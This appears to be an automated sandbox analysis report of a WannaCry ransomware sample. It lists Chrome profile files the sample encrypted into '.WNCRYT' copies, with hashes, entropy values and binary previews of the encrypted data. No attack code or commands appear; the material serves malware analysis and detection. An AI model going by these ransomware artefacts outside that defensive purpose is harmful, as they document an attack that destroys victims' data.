                                                                                                                        Preview:WANACRY!............S....E...A.w.Q.(0.y...6.r...'D.K.O.Z&........3.g..tz...?.k.e.Oi'O%..%...%p.....n...[.>.....)....$.bf5.FLPj.y.)..g...%/[N*x.^...|z.p[.W..4..E....C........e.b..DU.<N..Y..%.o.G....n.`..T...*...._G..=.*E.X...&.n..)....?(..1...f.8rL..<q..j..............#.J.57..VI..9..Y._.3s"...R.:.m..%8...l......}..D.,F.......76........h2lP!."..#;.I.:m......E.9+..^...u......O.>lK....3.\.[Y..._.c^....f...!q..|.q .[..0[.b.....E4......;..\..N...E-5.-.Q.....$.....]dX..*X.L3b.R#U. ...q.[......K.|.!.W/..t..z....<\&.6uG.`yB.F..0* ....w..3..p.D #!.;./....@.c.q....b_.#4B ...@.5$.6X.T3.e].~....._!A .J...v0UC...'G..(..v`....6..5F..'..R...`zP\..<U?%z\F*....b.X..7.....,T...@.d>d.u.R.%...j.eK(Fi.}.....r<I..8...>H]4.F..3.K:...+.;..........k:.B.nI..1]F#.c..HA.0.I.......x..N.t.e.;4$R... A$...x....h.!...y..W.Ar.3.WD/#.$.......SI.w.Kc.3O..>...$..%..$.....E.....Y^[..z._..v.!..?cg ...U).b..u./..Y.q...a2y..)ZN.;..}v%...>e.`.Pv .......S6...DPI.8`..|W..n..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):70648
                                                                                                                        Entropy (8bit):7.997548853051164
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:ygtZMg1Rt7P0VuHRaZr7hE6LUEhZNZ8+vjUWGCNnkY6L/NiZ5VpA3AE:DZPtVQ3O6LUwZ8nWGCNnsL1QnpAwE
                                                                                                                        MD5:204CD46A824CE9AB77969AF6608BEF58
                                                                                                                        SHA1:7911A07A25D6C3785FA5285797AD9464044E07D4
                                                                                                                        SHA-256:AB3411F541F8CF971BFCC6A027E53E92EC723C556E4130AD77F83854836550CA
                                                                                                                        SHA-512:9E6274DD10EC7D3FA3781BFF3C5262D1D24776CA195B58C3D7980B70EA281D1AF9219BCE561BD7B2A41A460688CC00C5D505DC2C11519ED0EDE636DF0DDAE3B7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......B........>-.k.p7...'.B.B 7S....(.Q..VB.p>.Jj.I.*..4..."Q}.0....4..{P.C.46..K..${+.=..)....4...m.:..~..... >.b....V)...=v@.{C4.s..U.1.[.7U.M.bcj..3.........j.~.k.l.~..o'|C.5..La..O..!b.~Cq..;.s{.6C...4s......r4.."...~..V.9..N.-&.b....R..}v.,..............MA.....F.=..1.U,....I....-.&v.Z.x...h......@.3..-.">...I.\.7..0B.l.x...[E..n.R.>./........-...G:.E../K..g. .C7...O..z.....5..*O.i.-..........Y.o..@.*m<(w\........8..U_.ORS.JH!..h.+......:.ON..;..~!.@..]...k3..s).@.........0.l3a...x..(....o;.s.."..Ev...1. ....Y...x..........,...*..oiL.".z1.H.P.....'..*......6..,s.b*...S..?.8.+cO.x..o....J..t#Z...VW..5.#.>..2....@..+.~.A(H.....;..3=..6.up.o.b..a...D.Jp%x'..(...g...=0Y..k(...h2.>K.b.........]R..a,.s...@4x"...*.Rup.K....2.Scrc.5E.^.-..$..)......1...u.,Z.t...B..;....J...r&s6...Q.0.g].*..6.q.-\+..Fj..x..,.q4...$..p..!.i....+{,.?..3K....L..%.vr>l+..I...j....?....>e.s..<.m..$r"..=q.r..r...G...w.`ht.f...*.n.\YE.$0...<<..q...o.Th.....y.r..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4648
                                                                                                                        Entropy (8bit):7.962994543620229
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oEWt4WImUBh4uarsvlMlNs2WYC//24P7E972arrFQvd:moSr/liY82p7Ud
                                                                                                                        MD5:B79FC3421CE20C5540E5316201D34C14
                                                                                                                        SHA1:6F293F5A34D0C320EF44ED750897A8DF6124A61E
                                                                                                                        SHA-256:43E60D210328A2D9BA92B0738321C2D8AA80A87E651F1744F72E17CA3D884CFA
                                                                                                                        SHA-512:F5D05ACD5FB167693F683C8ACFBBF00901579462BDA6976782A7137B215CC099746190C7DEEE15D60CDE31305F95466A143B250269B956B020154B0594D48C30
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......QY..}.O.!.=D...5S..N3H.&U.".0....K....e...x,.........x%6.K.....U.......-....L.._;.....Vv...7~.{..|.\..B..G8...U..X...?.E.;5.Z.)..P.#V.#-...C...V.x.D....t...K^R...6.}+_.Y..........L.).(..n..i..4..[^..RUi..e.....Q..g..Q..E..~IO.X.4;.._.N{.>..............v9r.#...CJ`....b@Y.]...Ami.a.4....Z.YE.....T)~.)......ICb..BKNn../..0.?.....U(..\...N.Q+.._....:....-=.}.%...N...@.g... .......].F.L2..S,*."....yB..@8@.'..W;.....+48.......)F}......q.....*.S..r.n%..>..d&j...0E.V.......$.....e...Y.-....JK.2.....M..?.....HsD....9...x*"./"o...~N..2q..>'6...t?.>....ARx.....yBe..|8Z..y..`....eT._...ZAyn.BE.@....ox*.D.V4^....y.*.W7r.....^..c.... ..[.H.L...W.Us..Cn.f..L..;Y?..z.I..S. ..'..*<I<..v...O.p..Q(F ......ur.[...5.6W......#....vt.........\....R.J.....0M..O.yv.."....g.E.....:..0.*"s..E....2..%+~r.p^.L..--..4G@...z@.....W...d.(M'.....%..~'...C?u,L|BH..$..yi.GmD.~.M:(..(....66...kS..}^.."`.Kl.)<.I.X..,.....g.rK...~..?.T.4.t_.."."..'.{*.....

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):840
                                                                                                                        Entropy (8bit):7.746971425860221
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8iJQ/Yk8jUOY2cUAe4NHfggTWqu7v0uYiT9zy:bk8izigDAfc5cuhzy
                                                                                                                        MD5:C59A60D523237020D4986B9CE11DE221
                                                                                                                        SHA1:09B3310553B68ED7F1714B4812C9D0FE98230A7C
                                                                                                                        SHA-256:4350ED9B2F65275175C4127DAED01C67B9B5A5CBE017DF160D2D7FAAF105740E
                                                                                                                        SHA-512:D960E5E60D71E03C140FEA5371334AC35045D395767AE463CF56AAF2FA2854EA3F86A3A8ED6C4BFBF3E2E6876C9C1AD4B04A0D8E0C093CF3B4497E908B0E30F4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....\..`.....b.s...1..!.w...*.....?\.yS:...<pH.....H...D0q@......q=.$-x...Fm..7^.j.......M..R~6/.....h...0.9M.....*d.....E...C...m.z...3....|.i..|H.........@.._............@...6@.4....j|w..<...O.......;t....TC_..u...V....r..g.....CjQ....Y:.....0.VK*\.............. ....B..9.t.u.....l..,3...........gP.7.2.g.9..#.~.+\..\z.....k.(.0.+.'...E..s.u(.WCZe.1..YU. ..3.*..j...s*B..Y.....`...d..1......O.$...*... .......pA.....G0...]B......q_.k=^..d@U.1.F .x...=_^....v#.....M|.y...[...a.7.A....NC..9..#oy_8...P._.m>.j..A..i....'.qR..Ow.._....h.q..lp..C......{)...EH.Q....+....pW....k..O..X....2k.b.Y..&..}go.5."?..5...4:.....N...g=d.R .R..~....z..0%e.x:.Xl.Q.*'.y.}.u.Y]sS.[...J.N.....i....f...h+..|..}.!b..:4|.LG.|...s...?04a.[m.|.kp...e..P..H........)n...|.t........x.A..4...Q.3.&.E.w.Bg...efT.i..G..}.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):440
                                                                                                                        Entropy (8bit):7.424573288796784
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEcKLlOqoepd+FGG2PreeZPHTN2cNZ/bxXy/gcldh6vktoxkQ/URvHrR1pkS:bkEN4qBiFGGX0RLwhEieOvLdkS
                                                                                                                        MD5:8C311D266674C28B980FFCB438555101
                                                                                                                        SHA1:6DF74CD7746C796AB3DC85A222D75E7BCABB25E0
                                                                                                                        SHA-256:CB97507D68AD54E9B5428091533E967584F3BC53CCC7D89B3DC3BB6AFD87655E
                                                                                                                        SHA-512:78A7B4EB4A14D597E96936A5B8545B6A8681280FD8CA5C7657EB82293BB1ED86CB5B97A9729C99F067D6B3D9123664A934B79A478559272E65D86A936D475CD6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........VA.'?.~.1A..nQ..l..OQ.......(.7.l...(.]..iq..p... ..9.Hi^....,......V.n.xRK.d8vO.y.m!..Wh.*...".P....n......cSj....=..RhR...E....x.H..,4.p|...].....aC.d..rS.m2....F.%...H..v.j.T.p...0D.g^Wph..../5......../~B.....6.1UC..\.L..=.........Z.C.(............,]mD.........."EaEx.S../.J...+.zL0....v.........,;;,.g.....Cpb+.;..x.4.-..^z.N.].....q.......OA.u...g]1M.......=.....2..\P.3@.Nc$...]I.!3)[.A5...._.+...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):536
                                                                                                                        Entropy (8bit):7.5677962604053075
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEnVQmzgZD9xnqfl5WZyIBwR9xbkr+pi0O2cjhUcW68:bkPx7R14RfGMuqcWx
                                                                                                                        MD5:9683FB86A502F67007D78980F466FDFB
                                                                                                                        SHA1:03D165E9943DD53EBB0324AC82FB21982D31B353
                                                                                                                        SHA-256:C74970DA7DAD407F8F8BE37DB79679BDF56C91A1D3242F709361E61FCC8D098F
                                                                                                                        SHA-512:BA7A281EA9039F0435BA5DB5622EA06B822D3CD97AB8D677E5F81E15E3CEB2DFAB7CB846443372A21743CC6054DD623E454710AA31665440520AC7C6E94C3604
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....$S.].\O.1....T.3@5j/X.........s..l.....o..f...#..:..|=CzT.M.>B!....P.k&.x.;.G{.i^...8E;.>.T.h....r.sf.m.!..>n&z..W4.......A..u.<...j..L....$..wX......Z.gKk.c.G.k..G....z(.NRX$.>...T.'..t$..su[3.e.....j.e])..8..b.y..V.<....-/D._r=a*,E..u..../.i..-............I....n"up....p....0...}.OU.%.9..~q.......jrJ.2..|...m.H....qIB.s..&4.5..E.........8V6........6.9......:...N^.);.......a..........T..R.|...xwa........Z.J.m@..#.v...Y.........;;t...:..a.v...n..\...Me.j..+.A....J.Z.nsNR.I3d..2..[.3/y.W .N..E.>.Q.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):440
                                                                                                                        Entropy (8bit):7.5267304036083
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEWmOiMoBwfK7HihaNy5980Zf1TdSOAOiH6cdSHvG+oDmEaPx/NO:bkeOsHNqJvTdQacQ++oDmRPxc
                                                                                                                        MD5:DBBE092C8B2F75740902E0C028293F04
                                                                                                                        SHA1:367770E25229DA7D018B500331EE41D74DF09E67
                                                                                                                        SHA-256:1D0F0F56F00A36962BCC61A142D73ABF2094FF6DD6B60E37094ACEEC504884D4
                                                                                                                        SHA-512:7E8E21B36018555AD84704E54D7CBD427234C82551043ACD2D7DE5AA3B9ED1494415771FDCC7FDCFC8E2A677D87A0121FCE07A0BBF6F52E9B424F211EBB926EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....wKS.oy...~.C.+k8..p......./....O..j.(LC.ch..Z..Y.$....o.*.B.a..rK{.....=.]..\.'.I'....!.Gs..;"...l.....m.".(..vn..&\.u#......U..Kl..546m....^Ck..%....4.pg=p.:%wR...XM.<.7c8.a,..Z...VJ....(tZ..b;(4T.ds.)..Ww$G_....'y.M.=^$..z...6(.n.s..z8..H................../....Q_.0*.L....&...D...j...W...[..C`....._M...;+*.I..A..$.:P.....M(4Y8L.SdV.P.......n....,:..=.n`.1#.f.e.._.|...H......uF....m4...G...7... ..`@x...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):456
                                                                                                                        Entropy (8bit):7.56234402994719
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEP9fYTlEggfeEWbjOdeA83cW92LTvcz:bkk+9j5byeA8MW92LTcz
                                                                                                                        MD5:07E2F2B6E7A9FD11A14868E6B0587A3A
                                                                                                                        SHA1:42CE05C1D62735707FA4BB63156728F528ED9311
                                                                                                                        SHA-256:75F15E144EC53412F88CEB4010FA710FD71104EB2967D193C964F67A16E95D5F
                                                                                                                        SHA-512:CCD44AA3AC22D667D567092FA21C9B65466CECC2D118CFBB2FB1FEBE37B8FFAA71146782276F57E27F30C15EE595139032A0E310917DB812EE657C657FA03D4F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....I..7i.'.](..q.....+rZ......YA....#.w.......0...".zs'.u...Y..,..X9.w..T..?..].....^H..#8...N...A..[`....y .$..2....../T.6.x=BL(.G......lJ..g.QSv....@.Oun.*..e.].U...z.aJ....m......%pnj...;..E0k...3...BG..o..9.Tg.n..rt.+.....'}2..\...R...i0!~r..............S..bn.5.e.<Cc..........|.<4..cM....L%q.Rq+k....8..Jj?........v..>...{e....s.8.. *..G........)..a.R.d.....Lm.w.#?B.i.P.ou./.A];f.1.>O.....*-....:t....:..pa....I.LJ>,..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):440
                                                                                                                        Entropy (8bit):7.393166412766237
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEFQIRooMRxuJ5GUgEKABfOJjUxvcahHEwekGVvTTO0Xqr4P5An9JYefKcjGRjD:bkEGvEKAZ55hEwoVLqMPmn9uyKJ0w
                                                                                                                        MD5:3D360559CEBBC3345089E4A94544CFE3
                                                                                                                        SHA1:EA9BE66E0F64BE09F3FD3A3C9CEC6855BEE01ABC
                                                                                                                        SHA-256:0ECB6BAF8C1501DCB5CFBD63DEC5BCBB36C1C2EAC31FEFC846D9FE0860314252
                                                                                                                        SHA-512:C9A908AC7EC24C0567DDB925EDFAB80C9332A0FE31F3BC9BE92156B0BB7FD7EF30801907BED244D0DF85BF32DA95A49447A4FD1C48D879FEBFD7468AC4C89F60
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........I#...CB%I.>.)tg..QF...!-.V"..9.N..R);..L....m..3Kh..V....1..7.^e..../y3.Q.Vz$..,R....Qeg..`..A...=.z......E..Q3AA....MgE......3...@%"E.f..(;..Y4.>.d..xb.r.7.&7.."+.O...f..... ...!7..Z".W..(L....,..QTS.M..n42..#t.?.~d..1.).Y......................[...S..gP..&I..)>.BgO.E.Z.;....N.I.3".P........>6#1.@A......QB.].2w....P.nis.....{..IXF...+y.&......;.3P.M.nM..+..l.vB...]E.T..4....Ua.7a.=-..r.Is...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.3_0\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2296
                                                                                                                        Entropy (8bit):7.912813364923067
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bk3weL0Eh0Zk0Toese2z91klu6CilxCm4nMplhUh60vJnXYKAA:o3fL0E0Aeif7e4nMVIYKAA
                                                                                                                        MD5:50366601304C60F531AFB29A1757EC1C
                                                                                                                        SHA1:7347843A8C0F204003A51599B5F5BBB8CB3CB274
                                                                                                                        SHA-256:F642247B1F632527EC9008161F3759D6354CFD06726B4E0E4A3C40D9F933A52C
                                                                                                                        SHA-512:F2933A5B44DCB53B8FB234C145A63CC41ABE7FE6577B0444F7212AA94A1391E58410CF56E6C99280528B195D53C38810AAF778C20DFF492EB57BD59A229C6C55
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......0...5u.o.Q....+D#92.a...?:..@..c.....$.V.Y.?...K.F..q.7&.......w.My....,_....U..g=..E.T.E...`..T?e.w..8x..7.....u...0sEy.y..o...g .........pM...m.....:B....Uj.!..3...-..'...6....d)vQ.+...n%6.M`.&Q...~..|.SX.O/D...^J*..pW....D....g=......!^...............aJp.q.yF.x...;`.GxlrD.5K=..z...+......pl..JLl..k...."..C.d...1.f.-.w&5.o.d....._..R..!&Ne...v..vq...s..o*w*p..O..r..+./......+Q.......e....Bx.......xC]/.&r....9P8...D.~Xl..:g...}.G.c..\H.a.vW.......zAhM..c.6..{.......~.$.M.....4L$.f....2!......;$..<..UW..X.d.Vc.f...f...h.+.I.2..ga...s..7.K..7s:.X.0..*.=.n..u.)t...C]*.)i..}8.IeZ.....x.N_._.P.x`.Te;.z......"..x..$..*P.5.r...'u.e.#NP2..O.....r....r..`.z.`2.)`.xR..7)Lz...N.M.D..>.S......+B}.L30....Z..!.=.....o.Q.no...8g.C..U0...;.l.B....4.23+..>...(..m\..8....=:&.o.:k8.\L?MT*`...,.B.wl..A..O0):."..R.y`..zU......-{$>.An.fr4.r......R..r6..b.<WY.ct..71VW.K..;.61v"y..G..HN'....FJPAR.Y$.N...x).^.....(....T.}'....(.-(~..m#.....q>o-...{...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\7d1231262330823bd07f6259b80025388c6b86e3\index.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):376
                                                                                                                        Entropy (8bit):7.350681947719851
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEJ/10hHTVSQ6DHdcZZ69VEbVTdeHyXC3KB6BWNY/EOH/opcntA2M9NHY/CUoYg:bkE9ChzVaDWf6TwXC3KBNNU/oMqB1YPm
                                                                                                                        MD5:27E51852F6091BAB2982BF8846E40A5C
                                                                                                                        SHA1:3D6C4CCFC073299FEEE3084522A0FE96A2D0C984
                                                                                                                        SHA-256:218E742AA3BB8E0CDBC753DEB8C88F8F4FA6D4F3242ADD2AE6C8742F59BAB450
                                                                                                                        SHA-512:6D9AF6E7A7C9D807D257C23E95223998E6F1C571C2DDB2CE1D133F204367A3EC198BE3C72C9C6975E8C79BE73B2258ED6A3FE5D55644C17EE6B03714249BA969
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....=.NGS.F.F..N..b...cnm..3...e,.? |B4i....~..8..-....f.j..(%...=.c..H....k.}..-.w.m.;.!w%..!j.4.X8c......Y....h.<[.}.Q&$..._.XE..$.>.....M.....q..T..zAVT}....5....jE.ej.3.-.k.....~..G{.4$Zi..vo....ta.3..v-........W.dy!20....9q8..MQ.AKy.}...2|X........Z.......^..K~....2)sc.\.&.Z......'k.E..d..>)..hL.(...}.0..-Rs.7...w...[.7.Z.Y...Jq.x.C{a.q....~..59.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):8248
                                                                                                                        Entropy (8bit):7.9765116453404445
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:8gf+HWmORVSeo165VWsXJfOMGnQqzHE+/ewfVOaomd+gDKS:8PHWmOLSeOSXJGMGy+/euV6md+ZS
                                                                                                                        MD5:1D6927B10ECB38BBACE0025D3BD671F8
                                                                                                                        SHA1:13C2B687A9279ABCAE279EC5ED1017819094C441
                                                                                                                        SHA-256:E17A3AC5D99D169CB9A55DABD7F0693527D031275CBA6302848A30F3BA2A85F3
                                                                                                                        SHA-512:2C53350267C10D821C48611EFDDEAD0EBBCD94F472FBAD58DC8978D8392D2D9269A5CF6B78E779BA905EB4AA00CF1D45D5FEEEADC6107F35A8C2ADD475115854
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......%)..=..N.q.Ns.gTb .cf#.3.......y.o.._.].B...Q..B...%7...3...Q......b.....W&.-p...a.\.........|F..m....._....5.YU...w.F....L....];u..i..9.p.-f..]......]+..... 6f*$...}X]..X.4.....?fR..X}..V.f.....8..P......s..m.z...L..t.X.W..q....,x.;........... ........z..T.j....Zd....../..3....j.Xm1.I...M6......c.....9V..t.....I7.........K...NJ.......{.?.+w..^*.....<{.|...5..2d.k.mk..t....{...H\.=..........uSw.T....c..=TZ.....9.,..O....}.q.g.K..G..u|.6.c$OK_#.@.m.h..(.../"...R.......I...=....G.c....G..w~..<....2.9|ha.s.[....^.....p....~..g_O<...#23z....3..E.......rzJ.Vp..D@.g..r:I.g?.4L.N#J..i..MvT.+....;e.$."...?.. .....j&.N..h..$8u. }...7....v.K..6.....=Yx.Fx..U7....h...*.\gRS...>.m....V,.....&..iM.M@..H.H<...L.O...h+..H;3.&.?..{.x3RQ@L..l<a.D.].%<......iM..*].>.....k...$.u.x.._...v.y...ZX. ..G..-.Y..L$...T.....C....._.,.\.qo.E...:.Z..Eu(n.V...$....9'........%...........2...x..wv..]...}5.D.<0..C. ..Y.w..j...=....Bk.'h....H..K......y..U.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5976
                                                                                                                        Entropy (8bit):7.966861881366455
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:okGSwYLqGtUm+kzriVMKIUzudVvXFe/1HVyJBdxk2Xqo/L1Pyz6cT4Mp+eIb:zGSwuntU2O0mkvXsSJmo/LgzJTP5Ib
                                                                                                                        MD5:DE814FAD25539CB48BF0DDBFB6C2C6BC
                                                                                                                        SHA1:4523478701121C53A60CF7686C8111B9B0DC24A1
                                                                                                                        SHA-256:9F713C3978CD07C10700F9FD2CE07577A79553363C5A0D7B0035A4FD3852C366
                                                                                                                        SHA-512:A1A13D9BBF9CD6E68D148321370B71F847C9299F6B1B7A84D105F43B2BB1461EFB5ACB2ECE6AAC37CD96E71448D3BF43184510DF9588223EB438F6A3A44C4CA4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....$.W...44.X.~....E8.}..).9.p.....Zb..l$].k...^..s.x>.p%...FkB@<.PW...,`<..c....m.Q.o.vt.<.Y<U/.vR.{.G...oR..i.......6Y.y|..q.d...?.....D..} 9..Q..%..s.P_t9.?o..^c..4..9W.+....0C.z^3..5Pe2...Q..cH...i...4f.^g....8B72..R.E".K..D......vD...1.`.......8.......`8o.8qt.....F..v.`...%4.?.Q.........K{\H_.....-..{.0c......}./.+..?..z.....Ub...I....j..4../N'..8..|.te#..8.....oock...f....Z....%..^...B...En.mJ..sc.4.....4|V....=.#/.M'z.Hpq......p...l3.U.......e.+..9..Lc.q...e.K.... .yx=S..V...3.......:../.+ m750...l6.G.....F.....f.tn.....Y...I.T........B.B.XP.%..3.;.e..<.4.0.v$vo..yl;Iu....["...kR...=E.........X...l.." B5M.j..~..$...Eh&3.....4...f....j...Fb......0..|#(..*.........".,B)...vh$!...i.>.....Y..f8.*.<".'....$...d#....H......Nn../.W/H.Rt.f.^.a&.C..[..}C......&..?.!....i.+.w..Z......^3...GL....^G.]..O.j.........0.s........dU.{..n.....bn.U......_..%....U......^.E.{k.{...C^..T+..$-.D|]ub.k..~.A............T.POdI..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):19864
                                                                                                                        Entropy (8bit):7.9888877581064595
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:Lh+8PDrAGtr3CzO2kRlpycwKPOTB6swoSroI76Egv3w02xZwPc8JMsuFkxF71W:LhzPDsGlC5kdtwDYswnopEy3wPxW7Y
                                                                                                                        MD5:83C173979096040C219EA41229482AC9
                                                                                                                        SHA1:65F3B6E097451B71A6D4E4EF5C2AD3D1419479B5
                                                                                                                        SHA-256:614C74F453896B19537440B10920537AD6CFD8E0C8786A80829907AFE0D028EF
                                                                                                                        SHA-512:D6FC8A19D63077238D54D15104B694EA3D64C6A5812ED9546F9DAD76C717EF12DECFCE86A8DEA026B923E4907D28DBD16FCC48D5C61AE7166CCDC01C6C86956A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....l.B..."...['xI.. ).0...).....?..x.H...:J.%.g..N.W.x....R'.Y......D5.p....P....N.._5+.Z.?J.5..\.ERZ.3..w......u.......nYj....q.}4.:........$..>.e..".E.J..x$.....6....3.g??.W..U......*...f"...8xV....n4..o.J.5.\z..#..+..<.\....O8.....m.d;.6n^....vL.......W.cC.......s.Q.l.:d..{.B.....x9.M.......m..8. om0?..o~..."&J....f*{....<.Z.dJ..,....^8.h...'.......m...s.T .`.(.I.q6.q.|..Y..x.A....E9.q.i......8..D.Z...M....E.q.4P.'a.o:......?k.#S.Dx...g..>......,_..Y.h..@........'....$.*..|....7..N.%Jh..l..I...^o0D..f.Ex.3.*.....0N.j ....0...`:....T.j.]..T3..G....._.5}..B\...c....4....[...H..A.+.Q.a..[.....ZI....E..{...4z.|kw...:P.qO..Z...5Y..4.yx.,.(.D{...c...\..!....b.a..z..K..d.PJ......."&..QyK.l...E..B.v......1...v.s.J....Yu...A....>D.J...-...{.....P...a....Qm...!+.^.{.^[-..9>....#.......].,./.r.re..+v.4.}G.P:.d.U.f.R_.&.3.u_.F~...Z..$%.[....)......<..2....X../..kV..1.h...1....e.,wh..K.........._.....[.7...V.lwA%.=z:...*.}.nf.I

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2120
                                                                                                                        Entropy (8bit):7.900900582805058
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkY/ZO6AJ4Q6rOIlaDpQEYEiAN+LopeE6ctJtorG/q0AO+xAxBY:o8O6uNZpQtTNLoYMtJ/5A3xAxBY
                                                                                                                        MD5:B40351A54897E0C73867C58D174A543F
                                                                                                                        SHA1:AD3B2F4FAECA6D76B8473BC4C3B294BBC990700B
                                                                                                                        SHA-256:DB08DF5D2241A2E71D140EB3BA556949BB82B2A9B8F23D3D385631A248B616DC
                                                                                                                        SHA-512:545AE48AEBB8C9DB5BA0EF3D7170C9D9B964C26C39AE0EDA0CEEFC894D1C735CB0FB190BD6A637A7571B14F57324F2136702EE28012453AB1CDA901CB82F2556
                                                                                                                        Malicious:false
